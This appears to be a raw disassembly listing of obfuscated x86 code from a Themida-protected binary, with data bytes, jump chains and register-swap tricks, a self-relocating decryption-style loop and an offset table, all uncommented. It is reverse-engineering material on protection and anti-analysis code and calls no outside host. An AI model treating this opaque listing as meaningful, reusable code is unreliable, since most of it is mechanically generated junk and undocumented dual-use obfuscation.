; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
aHo db '$ho\',0
align 2
dw 1C89h
dd 5718E924h, 0E959FFFFh, 0FFFF5500h, 83242C8Bh, 1E6804C4h
dd 8900005Dh, 0B850241Ch, 403B51B7h, 3B51B9BBh, 58C32940h
dd 0F20D6805h, 2DD8017Bh, 7BF20D68h, 8879E95Bh, 5FBDFFFFh
dd 81248F6Ah, 4F70F5F5h, 1DED816Bh, 815FA17Dh, 1E9D8BEDh
dd 5DE801F0h, 0FF94DAE9h, 1C77FFFFh, 0D359669Dh, 0E99C2414h
dd 0FFFF4D02h, 4C48358h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_54CC5B
; ---------------------------------------------------------------------------
loc_54F894: ; CODE XREF: Themida_:0054DE1Cj
popf
retn
; ---------------------------------------------------------------------------
dw 0EFE9h
db 4Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F89B: ; CODE XREF: Themida_:005479C1j
push eax
mov eax, 4DBE07E4h
jmp loc_54518E
; ---------------------------------------------------------------------------
dw 5350h
dd 0F5E72CBBh, 5BD8898Dh, 85E9C101h, 81FFFFC6h, 4EAh, 24148700h
dd 2434895Ch, 0FFEDD9E9h, 8E3C0FFh, 0FF6ECDE9h, 4ED83FFh
dd 5C242C87h, 0FF9100E9h, 0E9CA89FFh, 0FFFF984Ch, 0F6B1B151h
dd 0B250E9D9h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F8EE: ; CODE XREF: Themida_:005462E8j
xor [esp], ecx
xor ecx, [esp]
xor [esp], ecx
xchg edx, ecx
xchg eax, edx
jmp loc_54E661
; ---------------------------------------------------------------------------
db 0C3h
dd 240C8B66h, 2F8C68h, 24148900h, 0C6E95A54h, 0E9000008h
dd 0FFFF4C72h, 4C48358h, 4F68C101h, 8900007Ch, 18F2414h
dd 57240C8Bh, 0C781E789h, 4, 0E904C783h, 0FFFFC0C0h, 0FF240489h
dd 0E9042474h, 0FFFFFAC9h, 723E955h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54F94E: ; CODE XREF: Themida_:00547271j
pop dword ptr [esp]
jmp loc_5490D6
; ---------------------------------------------------------------------------
loc_54F956: ; CODE XREF: Themida_:00546A25j
mov ecx, 36E27135h
sub ecx, edi
push dword ptr [esp]
pop edi
add esp, 4
add eax, 44E50118h
add eax, ecx
sub eax, 44E50118h
pop ecx
add eax, 2
jmp loc_54C15C
; ---------------------------------------------------------------------------
db 8Bh
dd 0C483242Ch, 0E0F58104h, 455FC102h, 4DEEC581h, 58E92323h
dd 5BFFFFB8h, 0E95EF131h, 0FFFFE298h, 0BE56F101h, 1FF1E27h
dd 0E681464Eh, 4E7E1130h, 0A221EE81h, 0F101AAC3h, 0FF8049E9h
dd 1D8B68FFh, 0C890000h, 0E9595424h, 0FFFFFB41h, 4C481h
dd 50570000h, 0C12E46B8h, 4AB2BF70h, 0C729BF63h, 8124048Bh
dd 4C4h, 8BF82900h, 32E9243Ch, 83FFFF56h, 3FE904ECh, 89FFFF77h
dd 0E2892414h, 4C281h, 0E9570000h, 0FFFF515Ah, 0DB2D6268h
dd 0DEF75E3Dh, 0FF5FB0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54FA15: ; CODE XREF: Themida_:0054C13Aj
mov [esp], ebp
pop eax
pop ebp
push ebx
push edi
jmp loc_548E34
; ---------------------------------------------------------------------------
db 2Dh, 4, 0
dd 99E90000h, 31FFFFECh, 0D2F75BDAh, 0FF9AC1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54FA35: ; CODE XREF: Themida_:00549C59j
pop edx
mov ebp, [esp]
push ebp
mov ebp, esp
jmp loc_544FF1
; ---------------------------------------------------------------------------
loc_54FA41: ; CODE XREF: Themida_:005466C0j
sub esi, edx
jmp loc_54D0BB
; ---------------------------------------------------------------------------
loc_54FA48: ; CODE XREF: Themida_:0054C7A0j
mov eax, esi
mov edx, eax
pop eax
pop esi
push eax
jmp loc_54BDC4
; ---------------------------------------------------------------------------
dd 3600BB53h, 0D8290D24h, 2434FF5Bh, 2967685Fh, 2C890000h
dd 81E58924h, 4C5h, 4C58300h, 0FFF6EEE9h, 2EC81FFh, 66000000h
dd 0E9240489h, 0FFFFA0AEh, 8704C383h, 515C241Ch, 845143B9h
dd 53D1F71Bh, 7BAEB8BBh, 5BD929E4h, 8359CD01h, 2C8704C5h
dd 0EB805C24h, 3DB0508Ch, 5258C328h, 0FF90AEE9h, 88F388FFh
dd 0A3E95BD9h, 8BFFFFD2h, 0C4812434h, 4, 4C681h, 0CE90000h
dd 81FFFF97h, 4C1h, 0EE18E900h, 0DBF6FFFFh, 0FFFDE0E9h
dd 0C8B66FFh, 124D6824h, 0C890000h, 4EC8124h, 54000000h
dd 8324048Fh, 8B042404h, 23E9240Ch, 81FFFF63h, 4ECh, 243C8900h
dd 0C7815F54h, 4, 68555356h, 24402DC1h, 81EDD15Dh, 0AE3245EDh
dd 81D5F763h, 4CFBFFC5h, 295E9DEh, 0C5810000h, 3E8E7813h
dd 8103E5C1h, 3C1F60C5h, 0D7F58103h, 457D7926h, 32EF581h
dd 2EE9989Dh, 81FFFFA5h, 0E1660DC1h, 59CD89F1h, 0FFD136E9h
dd 29C781FFh, 55681E6Ch, 0FFF8FBE9h, 68FFh, 2C810000h
dd 30EAA24h, 24142940h, 0AA240481h, 0E940030Eh, 0FFFFD2C3h
; ---------------------------------------------------------------------------
loc_54FB90: ; CODE XREF: Themida_:0054D0BFj
mov esp, [esp]
mov [esp], edi
jmp loc_550369
; ---------------------------------------------------------------------------
db 56h
dd 0FE57D9BEh, 3EEE8153h, 890B9F0Ch, 0E0C15EF0h, 24F40502h
dd 0B90D34B4h, 5532353Eh, 0FFED65E9h, 4F7268FFh, 8AE90000h
dd 0F6FFFFC2h, 2ECC0D4h, 806FCC80h, 0E63067C4h, 0FF5D51E9h
dd 24E959FFh, 4BFFFF96h, 83CBE94Bh, 0B850FFFFh, 585D7BE8h
dd 0FFD361E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54FBF1: ; CODE XREF: Themida_:00550372j
and eax, edi
push dword ptr [esp]
push dword ptr [esp]
mov edi, [esp]
add esp, 4
jmp loc_548291
; ---------------------------------------------------------------------------
loc_54FC07: ; CODE XREF: Themida_:0054B6F2j
sub eax, 75552550h
add eax, ebx
add eax, 75552550h
add [eax], ecx
pop eax
pop ebx
jmp loc_55038A
; ---------------------------------------------------------------------------
loc_54FC1C: ; CODE XREF: Themida_:00545ED0j
mov esi, 9437AC38h
add eax, esi
mov esi, [esp]
add esp, 4
add ebx, eax
pop eax
inc ebx
jmp loc_54BA79
; ---------------------------------------------------------------------------
dw 575Bh
dd 4BFh, 45C28100h, 14D9B50h, 0F9D8E9FAh, 8B66FFFFh, 68532414h
dd 69BEh, 81242489h, 42404h, 34FF0000h, 241C8B24h, 8104C483h
dd 4C4h, 4C38100h, 68000000h, 3DF8h, 0B9240C89h, 241639E7h
dd 0FFF140E9h, 0E9F786FFh, 0FFFFF167h
; ---------------------------------------------------------------------------
loc_54FC88: ; CODE XREF: Themida_:005468C5j
mov [esp], esp
add dword ptr [esp], 4
pop edi
sub esp, 4
mov [esp], eax
mov eax, 4
add edi, eax
mov eax, [esp]
add esp, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
sub esp, 4
jmp loc_54C085
; ---------------------------------------------------------------------------
dd 0FF56D6F7h, 8B042474h, 0C4812434h, 4, 0E924048Fh, 0FFFF7CEEh
dd 0FF48ADE9h, 2E6866FFh, 4896677h, 0FE885224h, 0E95AF088h
dd 0FFFFC252h, 9BE8E959h, 34FFFFFFh, 24048B24h, 5304C483h
dd 0C381E389h, 4, 4D5468h, 24048900h, 4B8h, 0FFC30100h
dd 83582434h, 2C8904ECh, 0C2E95424h, 0C1FFFFB5h, 0E94105E1h
dd 0FFFFD76Eh, 4C281h, 14870000h, 24248B24h, 0FF66C331h
dd 4844E930h, 8951FFFFh, 4C181E1h, 0E9000000h, 0FFFF7C8Ch
dd 0ED80D500h, 148B66FDh, 2C48324h, 6859E800h, 788h, 83241489h
dd 0C8904ECh, 5000B124h, 0FFF1BFE9h, 3C8B5AFFh, 4C48324h
dd 0CE62492Dh, 5D00154h, 54CE6249h, 8124148Bh, 4C4h, 81C38100h
dd 576C3D2Eh, 0AC6494BFh, 73F78142h, 2936440Fh, 243C8BFBh
dd 0FF892CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54FDB1: ; CODE XREF: Themida_:0054C7A6j
or ebx, 7C4421D0h
sub ebx, 7C6423C4h
mov edi, ebx
jmp loc_5490CB
; ---------------------------------------------------------------------------
aBIacisp db '│ф╘A≈IИP',8,0
dw 8900h
dd 0DBF75DEBh, 5543D3F7h, 0D44B53BDh, 3E5C178h, 10E3C581h
dd 0ED81773Ah, 6DB782DCh, 0E95DEB01h, 0FFFF6834h, 4EC8350h
dd 24048F54h, 4240481h, 0E9000000h, 0FFFF7411h, 5FF8895Bh
dd 0FF4779E9h, 0C7EA81FFh, 132DD33h, 0C7C281FAh, 8132DD33h
dd 0F176DCC2h, 0BB5312h, 1000000h, 8B2B31D3h, 0C481241Ch
dd 4, 0D2315D5Ah, 7CC268h, 241C8900h, 0FFCAC0E9h, 59C828FFh
dd 3B3668h, 240C8900h, 5338B050h, 0D98862B3h, 0FFD23EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54FE61: ; CODE XREF: Themida_:0054CE9Aj
and eax, 0CCF51B8h
shr eax, 7
shr eax, 6
add eax, 566E25A5h
add eax, 0F460DB0Dh
mov esi, eax
jmp loc_548076
; ---------------------------------------------------------------------------
db 28h, 0DDh, 8Bh
dd 0C483241Ch, 0E6BCE904h, 0EDBAFFFFh, 0E979080Fh, 0FFFFFCE1h
dd 0B3241C89h, 70B569h, 0E8285BDDh, 592434FFh, 0FFBB2BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54FEA9: ; CODE XREF: Themida_:00548749j
pop ebx
shr ebx, 2
sub ebx, 3D1F359Ah
xor ebx, 0EF7A5A9Bh
push ebx
sub dword ptr [esp], 15F2E37h
mov ebp, [esp]
add esp, 4
add ebp, 15F2E37h
pop ebx
not ebp
xchg ecx, ebp
dec ecx
xchg ecx, ebp
sub esp, 4
mov [esp], esi
push esp
pop esi
add esi, 4
jmp loc_54BF27
; ---------------------------------------------------------------------------
dd 4240483h, 247E9h, 7C015E00h, 5E5F0424h, 4C681h, 0C6810000h
dd 2, 8B243487h, 17E92424h
db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FF0F: ; CODE XREF: Themida_:0054A8C9j
mov [esp], edx
jmp loc_5458A3
; ---------------------------------------------------------------------------
db 54h
dd 4C5815Dh, 81000000h, 4C5h, 242C8700h, 0FFC42EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54FF2D: ; CODE XREF: Themida_:0054A233j
mov [esp], ebx
push dword ptr [esp]
pop eax
push 5563h
mov [esp], ebp
jmp loc_54ECE0
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 5A000000h, 4C281h, 0C2830000h, 74FF5202h, 8F5A0424h
dd 248B2404h, 0E9E9F624h, 0FFFFC36Eh, 83240C8Bh, 0F8E904ECh
dd 5BFFFF9Eh, 0FF5B4DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54FF75: ; CODE XREF: Themida_:0054B96Aj
shl cl, 2
add cl, 8
mov dl, cl
pop ecx
add bh, dl
pop dx
xor dh, bh
mov ebx, [esp]
add esp, 4
xor al, dh
pop edx
push ecx
push 78AEh
mov [esp], eax
jmp loc_549AB1
; ---------------------------------------------------------------------------
dw 295Dh
dd 0D82959CBh, 0FFDB68E9h, 240487FFh, 0E924248Bh, 0FFFFA2FDh
; ---------------------------------------------------------------------------
loc_54FFB4: ; CODE XREF: Themida_:0054C1CCj
shl edx, 1
jmp loc_54AE5D
; ---------------------------------------------------------------------------
db 5Dh
dd 0C105EEC1h, 0F68107EEh, 1766177Ah, 0A755E957h, 7C8AFFFFh
dd 64880224h, 89E90224h
db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FFDB: ; CODE XREF: Themida_:0054B8CBj
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edx
pop eax
pop edx
xchg edi, edx
jmp loc_5505D0
; ---------------------------------------------------------------------------
dd 0FF4591E9h, 24048BFFh, 60168h, 24348900h, 0C681E689h
dd 4, 4C681h, 34870000h, 24248B24h, 0E599E955h, 8B66FFFFh
dd 2F682404h, 89000038h, 0E0892404h, 7FBEBF57h, 0EFC10406h
dd 1C78302h, 0FFF655E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55003D: ; CODE XREF: Themida_:005485CEj
mov esi, esp
add esi, 4
jmp loc_54D463
; ---------------------------------------------------------------------------
loc_55004A: ; CODE XREF: Themida_:0054EB53j
push 6BA5h
mov [esp], edx
mov edx, 18C66DEAh
add ebp, edx
push dword ptr [esp]
pop edx
jmp loc_545BBF
; ---------------------------------------------------------------------------
dw 0C781h
dd 26AA6E70h, 5124048Bh, 0FF56D3E9h, 2615BDFFh, 0F5812A6Eh
dd 27817B92h, 2EFCED81h, 0E5810E2Eh, 56F54F43h, 2232E581h
dd 0F9E9577Eh, 0BAFFFF7Dh, 687C4A7Eh, 7732EA81h, 0F28175AFh
dd 0F2CCD348h, 815AD701h, 4C7h, 243C8700h, 5CBB535Ch, 31258020h
dd 2434FFDFh, 4C4815Bh, 89000000h, 0EC835FF9h, 240C8904h
dd 0FF9E59E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5500D1: ; CODE XREF: Themida_:005477D3j
push dword ptr [esp]
mov eax, [esp]
push esi
push esp
pop esi
add esi, 4
add esi, 4
jmp loc_54EBB1
; ---------------------------------------------------------------------------
db 0FFh
dd 0A8E92434h, 59FFFF94h, 8904EC83h, 51E92434h, 41FFFFA7h
dd 8141D1F7h, 4E20D1C1h, 59CB01EAh, 0C91EB81h, 0C30145FDh
dd 0FF8BBFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_550119: ; CODE XREF: Themida_:00545A3Dj
push dword ptr [esp]
jmp loc_54D932
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 81000000h, 4C2h, 2C28100h, 0E9000000h, 0FFFFF156h, 0E924348Bh
dd 0FFFFF1ECh, 0E9243489h, 0FFFF6C18h, 0F44EE9ADh, 4BAFFFFh
dd 1000000h, 0A1F7E9D1h, 4BBFFFFh, 1000000h, 0BB535BD9h
dd 4, 0FF70E6E9h, 240487FFh, 5724248Bh, 0FF4BE0E9h, 2DE4BEFFh
dd 12E95ADBh, 83FFFF4Bh, 148704C2h, 0EEE95C24h, 0F7FFFF54h
dd 0CE7AE9D5h, 0E95AFFFFh, 0FFFFC05Ah, 57240C8Bh, 0C781E789h
dd 4, 4C781h, 3C870000h, 89535C24h, 7CA268E3h, 14890000h
dd 0B9515524h, 2BE51031h, 0FFF992E9h, 59CB29FFh, 4F9EEB81h
dd 0C3016942h, 0FF6770E9h, 4BE56FFh, 57000000h, 0B94B46BFh
dd 55574F6Bh, 0D5F75D5Fh, 8147EF87h, 68676DEFh, 0E2E78114h
dd 8109EC7Dh, 846BDF7h, 5FFA0141h, 0EA81F201h, 48C40BFFh
dd 0FF900CE9h, 0B60F66FFh, 51E952CCh, 81FFFFAEh, 0B1198FC6h
dd 0E0C68117h, 314B672Ch, 0BB19E9F5h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55022E: ; CODE XREF: Themida_:00549295j
xchg eax, [esp]
pop esp
add esp, 4
and eax, edx
pop edx
or edx, eax
shl edx, 1
push dword ptr [edi+24h]
sub esp, 4
mov [esp], edx
mov edx, 0FFFFFFFFh
add dword ptr [esp+4], 659B44ADh
sub dword ptr [esp+4], 1443592h
add dword ptr [esp+4], 33B74506h
sub [esp+4], edx
sub dword ptr [esp+4], 33B74506h
add dword ptr [esp+4], 1443592h
jmp loc_54B78C
; ---------------------------------------------------------------------------
db 81h, 0C2h, 0C9h
dd 81689361h, 4A024FEAh, 79C2811Dh, 8123A456h, 970023C2h
dd 81C2295Ah, 970023EAh, 79EA815Ah, 8123A456h, 4A024FC2h
dd 6DBB531Dh, 504BBC1Ch, 2A41DAB8h, 8BC30131h, 0C4812404h
dd 4, 62EAB951h, 0CB316B22h, 0FFC232E9h, 0E95966FFh, 0FFFFB507h
dd 0E8007F2Ch, 7FB753h, 8B665BF8h, 8950240Ch, 88BA52E0h
dd 813F0F27h, 0B04FB2F2h, 0DFE28167h, 0E910CE2Ch, 0FFFF853Bh
dd 4EC81h, 0FCE90000h, 81FFFFD4h, 237C31C2h, 8502E944h
dd 6664FFFFh, 0A968028Bh, 89000052h, 56682414h, 0E9000025h
dd 0FFFFB41Eh, 2D5DE801h, 45030ED2h, 1704F92Dh, 0AAE95E1Eh
db 5Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55033F: ; CODE XREF: Themida_:0054546Ej
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
jmp loc_54E2F6
; ---------------------------------------------------------------------------
db 89h, 0E8h, 5Dh
dd 112E9h, 54295E00h, 0E95A0424h, 0FFFFC74Dh, 9C2424D3h
dd 0FF4221E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_550369: ; CODE XREF: Themida_:0054FB96j
push ebx
mov ebx, 1
mov edi, ebx
pop ebx
jmp loc_54FBF1
; ---------------------------------------------------------------------------
db 5Ah
dd 8702C083h, 835C2404h, 1C8904ECh, 6D77E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55038A: ; CODE XREF: Themida_:0054FC17j
pop ecx
loc_55038B: ; CODE XREF: Themida_:0054CC36j
push 3769h
mov [esp], ebx
mov eax, [esp]
push esi
mov esi, esp
jmp loc_54D68F
; ---------------------------------------------------------------------------
dw 0E1C1h
dd 0E6F18108h, 0F7080946h, 0E94941D1h, 0FFFFAE5Bh, 9862E958h
dd 805BFFFFh, 0E95344EEh, 0FFFFF6F9h, 0B353D828h, 7EC380DDh
dd 0FF7193E9h, 241487FFh, 0EC81555Ch, 4, 0E9242489h, 0FFFF959Bh
dd 4C2815Ah, 56000000h, 0C6815E54h, 4, 8704EE83h, 0E0E92434h
dd 2DFFFFC7h, 3E1C61F7h, 0F705D029h, 5A3E1C61h, 0FF97F1E9h
dd 55E289FFh, 89409ABDh, 52D5F72Ah, 9F0FDFBAh, 5AD5317Ah
dd 0DDF7DDF7h, 6D2CE94Dh, 0C481FFFFh, 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edx
mov edx, 6DE4E5Fh
shl edx, 3
push eax
mov eax, 64AF34FAh
sub edx, eax
mov eax, [esp]
add esp, 4
sub edx, 0D2433DFAh
add ebp, edx
pop edx
add ebp, 4
jmp loc_544E10
; ---------------------------------------------------------------------------
loc_550461: ; CODE XREF: Themida_:0054F68Dj
push edx
jmp loc_545A10
; ---------------------------------------------------------------------------
db 59h
dd 6CE4BD55h, 0E950310Eh, 0FFFF88CFh, 73BBE95Ch, 0C681FFFFh
dd 4, 8B243487h, 0FFE92424h
db 40h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55048B: ; CODE XREF: Themida_:0054C57Dj
mov esi, [esp]
jmp loc_54A3CB
; ---------------------------------------------------------------------------
db 81h
dd 0DF5D8CC6h, 8500E906h, 0C89FFFFh, 9E45E924h, 0EC83FFFFh
dd 24048904h, 0FF675EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5504B1: ; CODE XREF: Themida_:0054D469j
pop esp
mov [esp], esi
push 20CFh
mov [esp], edi
mov edi, 449E7F7Fh
push ecx
mov ecx, 57BD7F9Bh
jmp loc_54907A
; ---------------------------------------------------------------------------
db 31h, 4, 24h
dd 0FF66B9E9h, 58C629FFh, 4676857h, 3C8B4E67h, 23E56824h
dd 14890000h, 81E28924h, 4C2h, 4C28300h, 0FF7F46E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5504F9: ; CODE XREF: Themida_:0054BCEAj
sub edi, 3EFC34ADh
mov esi, [esp]
add esp, 4
jmp locret_54758B
; ---------------------------------------------------------------------------
dw 0BF57h
dd 59F65DCDh, 0F704E7C1h, 29CF81DFh, 0E9617015h, 0FFFF7E24h
dd 57A3BB53h, 0F3811966h, 27B40AF1h, 6049EB81h, 0C38312FAh
dd 7EBC1FFh, 0ECF381h, 0C3814D46h, 0B6DA627Ch, 915BD821h
dd 591D1F7h, 57FC6A56h, 0FFFF80E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_550555: ; CODE XREF: Themida_:005483EBj
mov eax, [esp]
push ebx
jmp loc_54ABC2
; ---------------------------------------------------------------------------
dw 481h
dd 9D769924h, 96BF575Eh, 10AEB11h, 5F04247Ch, 9A240481h
dd 0E928AE77h, 0FFFF400Eh
; ---------------------------------------------------------------------------
loc_55057C: ; CODE XREF: Themida_:0054F610j
add esp, 4
jmp loc_548F9B
; ---------------------------------------------------------------------------
db 0C1h
dd 0BD5504EBh, 2C40CC0h, 0FFA008E9h, 4DC681FFh, 2917C51Ch
dd 4DEE81DEh, 0E917C51Ch, 0FFFFF3EBh, 2A2A68h, 24048900h
dd 578868h, 24248900h, 4240481h, 58000000h, 4BF57h, 2E2D0000h
dd 0E93CA82Ah, 0FFFFE8AFh
; ---------------------------------------------------------------------------
loc_5505D0: ; CODE XREF: Themida_:0054FFEFj
not edi
xor edx, edi
jmp loc_54DF58
; ---------------------------------------------------------------------------
db 54h, 58h, 56h
dd 0FF72C1E9h, 240433FFh, 33240431h, 248B2404h, 24042924h
dd 0DABCE99Ch, 0ED04FFFFh, 0AE99C04h, 58FFFF5Dh, 4EC81h
dd 3C890000h, 0E9E78924h, 0FFFF84BCh, 0B4CA00B8h, 8BC201AAh
dd 0DBE92404h, 29FFFF8Ah, 1C875EF3h, 0CA9AE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55062A: ; CODE XREF: Themida_:0054A208j
push ecx
push edx
mov edx, 71AC415Bh
add edx, 0AD0CC7Fh
mov ecx, edx
jmp loc_54B9F1
; ---------------------------------------------------------------------------
loc_55063E: ; CODE XREF: Themida_:00548119j
add esp, 4
add esi, 4
jmp loc_54E5CD
; ---------------------------------------------------------------------------
dd 0B9240C89h, 8F60833h, 16D34BDh, 59CD312Eh, 19E9E901h
db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550663: ; CODE XREF: Themida_:00547EDAj
pop edi
push esi
push esp
pop esi
push eax
jmp loc_54C9F1
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 8324348Bh, 0C48304C4h, 240C3304h, 33240C31h, 0E95C240Ch
dd 0FFFF9152h, 0FA4CC7BFh, 5A2D6Bh, 0
dd offset byte_5A3901
dd 0
dd 7B40EFD4h, 0DA1708EBh, 213h, 2, 1, 2, 0FA4CC7BFh, 5 dup(0)
dd offset aM0SB ; "╛0ьИ\"b"
dd offset byte_554EC7
dd offset dword_5537C4
dd offset byte_564DB3
dd offset dword_5571F8
dd offset byte_563D8F
dd offset word_56157E
dd offset dword_552794
dd offset dword_5642D0
dd offset dword_558E48
dd offset dword_55545C
dd offset word_552F32
dd offset byte_557377
dd offset word_55AA8A
dd offset byte_55795B
dd offset word_564E66
dd offset byte_55FE2F
dd offset byte_56572B
dd offset word_55C82E
dd offset byte_553D37
dd offset word_56018E
dd offset word_561136
dd offset byte_55A8FD
dd offset byte_556A9B
dd offset word_554842
dd offset dword_5588C0
dd offset word_55B7A6
dd offset byte_559AB5
dd offset dword_555DAC
dd offset byte_562A87
dd offset byte_564F69
dd offset byte_558253
dd offset byte_561899
dd offset dword_55DAA0
dd offset byte_560139
dd offset byte_55A2A7
dd offset word_558C22
dd offset word_5644B2
dd offset dword_563BC0
dd offset dword_551E00
dd offset byte_55824B
dd offset word_55D692
dd offset byte_55A203
dd offset byte_555F71
dd offset byte_55DFB5
dd offset word_565182
dd offset word_56284A
dd offset dword_556028
dd offset byte_562BA7
dd offset byte_563209
dd offset dword_555D80
dd offset byte_554DFD
dd offset dword_55520C
dd offset byte_556733
dd offset byte_55AA23
dd offset word_565722
dd offset byte_550C85
dd offset word_5550A2
dd offset byte_5645B7
dd offset byte_55337F
dd offset word_550D3A
dd offset word_55A512
dd offset dword_561318
dd offset dword_55A01C
dd offset byte_55E27D
dd offset byte_55281F
dd offset word_55E5D2
dd offset dword_55478C
dd offset word_55FEE6
dd offset dword_55D240
dd offset aNhf@ ; "╜h■@"
dd offset byte_55D3A3
dd offset byte_559415
dd offset byte_564283
dd offset byte_55A475
dd offset word_565412
dd offset word_56550E
dd offset word_56348E
dd offset word_55CE2E
dd offset byte_552B8D
dd offset dword_55BF0C
dd offset byte_564C1F
dd offset aN1Sc ; "╜1ьИФт"
dd offset byte_56080F
dd offset byte_5655DB
dd offset word_557F3E
dd offset word_55CC4A
dd offset byte_560A0B
dd offset word_561A96
dd offset byte_55B9D1
dd offset dword_55D628
dd offset byte_559C4F
dd offset byte_55317F
dd offset byte_562BB3
dd offset word_55386A
dd offset byte_55A8AF
dd offset word_55119E
dd offset byte_552731
dd offset word_552C42
dd offset byte_5575ED
dd offset word_55C52E
dd offset word_563D7A
dd offset word_562E5A
dd offset byte_5509EB
dd offset byte_553313
dd offset byte_550D15
dd offset byte_55C97B
dd offset dword_55C808
dd offset byte_556E71
dd offset byte_562F21
dd offset word_55A9DE
dd offset dword_563698
dd offset word_5618FE
dd offset word_558792
dd offset dword_551338
dd offset dword_55E998
dd offset byte_555A1F
dd offset dword_561124
dd offset dword_565B18
dd offset byte_554D55
dd offset word_564CB2
dd offset word_565B9E
dd offset byte_553E7F
dd offset byte_562CBB
dd offset word_5579F6
dd offset byte_563805
dd offset dword_55699C
dd offset dword_557AF4
dd offset byte_562893
dd offset dword_55C120
dd offset byte_55688B
dd offset dword_56315C
dd offset word_55B47E
dd offset word_55866A
dd offset byte_55C7B1
dd offset byte_553EC5
dd offset word_55A6C2
dd offset word_55B73E
dd offset byte_55137D
dd offset word_561D26
dd offset dword_56553C
dd offset word_55345A
dd offset dword_554630
dd offset dword_565850
dd offset byte_557C81
dd offset dword_558234
dd offset byte_564933
dd offset aNhsl ; "╜hАl"
dd offset byte_553689
dd offset dword_55D350
dd offset byte_555E5F
dd offset byte_563431
dd offset byte_551661
dd offset dword_55DCEC
dd offset byte_550FD7
dd offset dword_561DA4
dd offset word_55B01E
dd offset word_553E72
dd offset word_56242A
dd offset dword_564CC0
dd offset byte_557C6B
dd offset word_55B396
dd offset byte_553841
dd offset aMsw_ ; "╛Иw."
dd offset byte_559E9F
dd offset word_55B416
dd offset dword_55D01C
; ---------------------------------------------------------------------------
loc_550968: ; CODE XREF: Themida_:0059B9C9j
pusha
pushf
cld
call $+5
pop edi
sub edi, 60841B1h
mov eax, edi
add edi, 6083EC9h
cmp eax, [edi+2Ch]
jnz short loc_550986
jmp short loc_550999
; ---------------------------------------------------------------------------
loc_550986: ; CODE XREF: Themida_:00550982j
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_550995
; ---------------------------------------------------------------------------
loc_550990: ; CODE XREF: Themida_:00550997j
add [edi+ecx*4+40h], eax
dec ecx
loc_550995: ; CODE XREF: Themida_:0055098Ej
or ecx, ecx
jnz short loc_550990
loc_550999: ; CODE XREF: Themida_:00550984j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_5509A6: ; CODE XREF: Themida_:005509ADj
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_5509A6
loc_5509AF: ; CODE XREF: Themida_:00551F71j
; Themida_:0055263Bj ...
lodsb
push 772Ah
jmp loc_55F147
; ---------------------------------------------------------------------------
dw 0EF81h
dd 53156868h, 0C09E9h, 47BB5300h, 8164BD6Ah, 0BD6A43EBh
dd 3409E964h, 0D8F60001h, 88521604h, 5AD188C2h, 10238E9h
db 0
; ---------------------------------------------------------------------------
loc_5509E5: ; CODE XREF: Themida_:0055B00Fj
push ebp
jmp loc_5653C1
; ---------------------------------------------------------------------------
byte_5509EB db 66h ; DATA XREF: Themida_:00550868o
dd 6824048Bh, 6689h, 89243C89h, 0D3B951E7h, 8160826Dh
dd 0BB4AA4E9h, 2BF18164h, 1FBC723h, 240C8BCFh, 10403E9h
dd 5AD00100h, 8B240487h, 0EC832424h, 0F1DCE904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_550A26: ; CODE XREF: Themida_:005624D9j
push dword ptr [esp]
jmp loc_55E3A8
; ---------------------------------------------------------------------------
dw 0E581h
dd 74466AA8h, 2718ED81h, 95E9005Ch, 68000012h, 358Ch, 8904EC83h
dd 4832424h, 48F0424h, 24048324h, 6F25E904h, 815E0000h
dd 4C4h, 5189E900h, 4890000h, 1C6D6824h, 0E9581615h, 1077Fh
dd 3381CB01h, 7EA1C52h, 83241C8Bh, 34FF04C4h, 2434FF24h
dd 0B588E9h, 24143300h, 33241431h, 248B2414h, 0FFD03024h
dd 148B2434h, 2B1E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_550AA6: ; CODE XREF: Themida_:00551E4Ej
sub eax, 10D25B38h
shl eax, 8
push ecx
mov ecx, 31C53FEAh
neg ecx
shr ecx, 4
not ecx
dec ecx
not ecx
sub ecx, 20F25C06h
jmp loc_558BC1
; ---------------------------------------------------------------------------
loc_550AC9: ; CODE XREF: Themida_:00561459j
sub edx, esi
pop esi
push 243h
mov [esp], esi
mov esi, 47355EB0h
neg esi
inc esi
sub esi, 6D1642CBh
jmp loc_551E72
; ---------------------------------------------------------------------------
db 89h
